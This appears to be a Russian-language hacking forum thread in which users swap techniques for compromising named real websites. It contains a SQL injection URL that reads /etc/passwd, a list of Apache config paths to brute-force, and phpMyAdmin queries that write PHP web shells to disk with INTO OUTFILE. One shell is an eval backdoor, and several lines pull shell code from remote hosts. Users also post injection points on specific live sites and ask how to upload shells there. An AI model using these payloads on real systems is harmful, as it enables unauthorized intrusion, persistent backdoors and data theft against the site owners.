есть читалка файлов

http://www.nebraska-outdoors.com/articles/article.php?aid=-1+union+select+load_file(0x2f6574632f706173737764) +from+users--


помогите найти путь к конфику апача

пробовал но не помогает:

/etc/httpd/conf/
/etc/apache/conf/
/etc/apache/
/etc/apache2/conf/
/var/httpd/conf
/var/www/conf
/usr/local/apache/conf/
/usr/local/apache2/conf/
/usr/local/httpd/conf/

Перебирай. https://forum.antichat.ru/showpost.php?p=467361&postcount=1
Ес-сно без ../../../ в начале.

__________________
..

Народ прошу помощи.
Вобщем есть рут доступ к PhpMyAdmin

Мне нужно залить шел, но проблема в том что там инклуды отключены
Я заливал с помощью такого запроса
CREATE TABLE `forshelll` (`shl` TEXT NOT NULL)
TYPE = MYISAM ;
INSERT INTO `forshelll` ( `shell` )
VALUES (
'<?php include("http://shell.ru/shell.php") ?>'
); SELECT `shell` FROM `forshelll` INTO OUTFILE 'patch/www/shell.php'; DROP TABLE `forshelll`

Ворпос! как можно ище залить без инклуда?

2 DJ ][akep
Юзай поиск, мне вот что часто помогало -
http://forum.antichat.ru/showpost.php?p=796617

Копал рыл ничего не нашёл! Гуру анти чата могет вы помогете!

www.dom2.ru есть уязвимости?

http://dom2.ru/pulse/heroes/?id=15601'

http://dom2.ru/magazine/?id=27965&article=3'
Жду ответа?
___________________________________________

И это уязвимость?
http://www.rk-triada.ru/index.php?-999

Хотя смысл один и тот же...

SELECT '<?php if(isset($_REQUEST["id"])) eval($_REQUEST["id"]);?>' INTO OUTFILE '/blablabla/www/script.php';

Если пхпмайадмин будет ругаться, то переводи текст в кавычках в SQL HEX:
http://hack-shop.org.ru/tools-code-encode
И потом уже без кавычек подставляй в запрос.

/script.php?id=copy("http://shellsite.ru/shell.txt","/blablabla/www/shell.php");

/shell.php - тут шелл. Ессно должны быть права на запись, иначе хер что сделаешь.

__________________
..

А не подскажите что можно сделать с сайтом у которого идёт фильтрация против SQl инъекций...
Движок: PHP-nuke
Модули:
/modules.php?name=WhatYourSpeed
/modules.php?name=Rules
/modules.php?name=Downloads
Ссылка: _http://la2ice.ru/

Доброго времени суток!
сайт http://geograd.ru/
magic_quotes off
мускул 5-ой версии
http://geograd.ru/?geo=-1&idnew=-328%27+union+select+1,2,3,4,table_schema+from+info rmation_schema.tables/*%22
тут все базы,судя по ним на серве крутится много сайтиков(если не прав,поправьте)
подскажите,как можно залить шелл на серв в данном случае?